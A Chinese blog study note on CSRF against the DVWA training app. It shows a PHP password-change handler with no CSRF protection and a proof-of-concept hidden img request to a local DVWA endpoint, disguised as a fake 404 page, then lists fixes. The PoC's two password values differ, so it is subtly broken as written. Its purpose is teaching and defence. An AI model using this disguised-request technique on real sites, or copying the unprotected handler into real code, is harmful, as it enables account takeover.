您的位置:首页 > 其它

CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】

2017-03-11 02:48 323 查看
+++++++++++++++++++++++++++

+ 00x1 实现简单的攻击

+ 00x2 代码审计漏洞的源头

+++++++++++++++++++++++++++

00x1 简单的csrf攻击开始了

下面是一个修改密码的修改框:

<?php

if (isset($_GET['Change'])) {

// Turn requests into variables
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];

if (($pass_new == $pass_conf)){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);

$insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );

$html .= "<pre> Password Changed </pre>";
mysql_close();
}

else{
$html .= "<pre> Passwords did not match. </pre>";
}

}
?>


View Code
在第10行只是将检测$pass_new和$pass_conf是否相同哦(也就是两次输入的密码是否相同),然后使用mysql_Real_escaoe_String函数进行了过滤sql注入,然后就执行sql来修改密码。如此没有对referer的判断便导致了csrf漏洞。



写poc的时候可以那么写:

<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hacker520&password_conf=haceker520&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>


效果如下:



会写成几篇文章,最后写出如何修复的答案,欢迎朋友们留言讨论。

Csrf的修复

验证http referrer

在请求地址当中添加token并且验证

自定义http头中自定义属性并且验证
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: